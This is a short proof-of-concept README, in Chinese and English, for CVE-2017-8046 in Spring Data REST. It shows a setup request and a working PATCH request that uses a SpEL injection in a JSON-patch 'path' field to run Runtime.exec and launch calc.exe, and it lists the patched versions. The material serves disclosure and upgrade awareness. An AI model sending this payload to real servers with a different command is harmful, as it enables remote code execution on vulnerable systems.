CVE-2017-8046 PoC — Pivotal Spring Data REST、Spring Boot和Spring Data 安全漏洞

Description

SPRING DATA REST CVE-2017-8046 DEMO

介绍

# spring data rest CVE-2017-8046 demo test

please UPGRADE spring data rest NOW.

## steps

* 启动本应用

* 创建test instance

```http

POST /entityPersons/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Cache-Control: no-cache

{
    "firstName":"f2"
}

```

* 利用spel注入, 会启动C:\Windows\system32\calc.exe

```http
PATCH /entityPersons/1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache

[
    {
        "op":"test", 
        "path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[] {67, 58, 92, 87, 105, 110, 100, 111, 119, 115, 92, 115, 121, 115, 116, 101, 109, 51, 50, 92, 99, 97, 108, 99, 46, 101, 120, 101} ))", 
        "value":""	
    }
]
```

## upgrade to

* Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
* Spring Boot 2.0.0.M4
* Spring Data release train Kay-RC3

spring boot 1.5.7.RELEASE uses `spring data rest 2.6.7`, but 1.4.x is not upgrade spring data rest version.

文件快照

备注